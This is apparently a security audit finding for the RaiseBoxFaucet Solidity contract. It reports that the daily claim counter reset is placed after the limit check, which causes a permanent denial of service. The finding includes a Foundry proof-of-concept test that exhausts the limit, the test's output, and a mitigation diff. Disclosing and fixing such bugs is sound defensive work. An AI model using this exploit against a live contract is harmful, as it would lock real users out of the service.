|
|
| Finding ID |
H-01 |
| Contract |
RaiseBoxFaucet.sol |
| Functions |
claimFaucetTokens() |
| Severity |
High |
Description
Normal Behavior:
The RaiseBoxFaucet contract is designed to allow users to claim testnet tokens once every 3 days. To control the number of claims per day, the contract implements a dailyClaimLimit and a counter, dailyClaimCount. This counter is intended to reset to zero every 24 hours, allowing a new batch of claims to occur the next day.
The Issue:
The logic to reset the dailyClaimCount is located inside the claimFaucetTokens() function, but it is placed after the check that enforces the dailyClaimLimit.
If the dailyClaimLimit (defaulting to 100) is reached on any given day, any subsequent call to claimFaucetTokens() will revert with the error RaiseBoxFaucet_DailyClaimLimitReached(). Because this check occurs at the beginning of the function, the code block responsible for resetting the counter (dailyClaimCount = 0;) becomes permanently unreachable.
As a result, dailyClaimCount will remain stuck at its maximum value forever, preventing any user from ever claiming tokens again. This constitutes a Permanent Denial of Service (DoS) that renders the faucet's core functionality unusable.
function claimFaucetTokens() public {
@> if (dailyClaimCount >= dailyClaimLimit) {
@> revert RaiseBoxFaucet_DailyClaimLimitReached();
}
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
@> if (block.timestamp > lastFaucetDripDay + 1 days) {
@> lastFaucetDripDay = block.timestamp;
@> dailyClaimCount = 0;
}
lastClaimTime[faucetClaimer] = block.timestamp;
@> dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
As shown, if dailyClaimCount >= dailyClaimLimit, the function reverts before the reset logic block if (block.timestamp > lastFaucetDripDay + 1 days) can ever be executed.
Risk
Likelihood: High
Impact: Critical
This vulnerability permanently disables the primary function of the contract. No user will be able to claim faucet tokens ever again, rendering the entire faucet useless. The documentation explicitly mentions a "daily" limit, implying a recurring functionality, which this bug breaks permanently.
Proof of Concept (PoC)
The following Foundry test demonstrates how a series of claims within one day can permanently lock the contract, preventing any future claims even after time has passed.
PoC Test Code (test/PermanentDos.t.sol):
pragma solidity ^0.8.30;
import {Test, console} from "forge-std/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
contract PermanentDosTest is Test {
RaiseBoxFaucet internal faucet;
uint256 internal dailyLimit;
function setUp() public {
faucet = new RaiseBoxFaucet(
"raiseboxtoken",
"RB",
1000 * 10 ** 18,
0.005 ether,
0.5 ether
);
vm.warp(block.timestamp + 3 days);
vm.deal(address(faucet), 1 ether);
dailyLimit = faucet.dailyClaimLimit();
console.log("Daily claim limit:", dailyLimit);
}
function test_PermanentDoS_ByExhaustingDailyClaimLimit() public {
console.log("--- Starting Permanent DoS scenario ---");
for (uint256 i = 1; i <= dailyLimit; i++) {
address claimant = address(uint160(1000 + i));
vm.prank(claimant);
faucet.claimFaucetTokens();
}
assertEq(
faucet.dailyClaimCount(),
dailyLimit,
"Daily claim count should have reached the limit"
);
console.log("Reached max daily claims:", faucet.dailyClaimCount());
address lateUser = address(0xBEEF);
vm.prank(lateUser);
vm.expectRevert(RaiseBoxFaucet.RaiseBoxFaucet_DailyClaimLimitReached.selector);
faucet.claimFaucetTokens();
console.log("Expected failure for extra claim in same day confirmed.");
vm.warp(block.timestamp + 2 days);
console.log("Advanced time by two days.");
address legitimateUser = address(0xCAFE);
vm.prank(legitimateUser);
vm.expectRevert(RaiseBoxFaucet.RaiseBoxFaucet_DailyClaimLimitReached.selector);
faucet.claimFaucetTokens();
console.log("Claim after two days still fails due to non-reset.");
assertEq(
faucet.dailyClaimCount(),
dailyLimit,
"Daily claim count did not reset after time advance"
);
console.log("--- Permanent DoS confirmed: contract remains locked at daily limit ---");
}
}
Test Execution and Results:
Run the test using the following command:
forge test --match-path test/PermanentDos.t.sol -vv
The test will pass, confirming the vulnerability. The output logs clearly show that the dailyClaimCount remains at the limit even after two days have passed, and subsequent claims fail as expected.
[PASS] test_PermanentDoS_ByExhaustingDailyClaimLimit() (gas: 11614201)
Logs:
Daily claim limit: 100
--- Starting Permanent DoS scenario ---
Reached max daily claims: 100
Expected failure for extra claim in same day confirmed.
Advanced time by two days.
Claim after two days still fails due to non-reset.
--- Permanent DoS confirmed: contract remains locked at daily limit ---
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.44ms
Recommended Mitigation
The dailyClaimCount reset logic must be moved to the beginning of the claimFaucetTokens() function, before any checks that might cause a revert. This ensures that the first transaction on a new day will successfully reset the counter, allowing claim functionality to resume.
Apply the following changes to src/RaiseBoxFaucet.sol:
// src/RaiseBoxFaucet.sol
function claimFaucetTokens() public {
+ /**
+ * @notice Resets the daily claim count every 24 hours.
+ * @dev This check is placed at the beginning to prevent a permanent DoS if the daily limit is reached.
+ */
+ if (block.timestamp > lastFaucetDripDay + 1 days) {
+ lastFaucetDripDay = block.timestamp;
+ dailyClaimCount = 0;
+ }
// Checks
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
// ... (rest of the function, remove the old reset block)
- /**
- *
- * @param lastFaucetDripDay tracks the last day a claim was made
- * @notice resets the @param dailyClaimCount every 24 hours
- */
- if (block.timestamp > lastFaucetDripDay + 1 days) {
- lastFaucetDripDay = block.timestamp;
- dailyClaimCount = 0;
- }
// Effects
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// ...
}
This simple reordering guarantees that the reset logic is independent of the current claim count, completely resolving the permanent DoS vulnerability.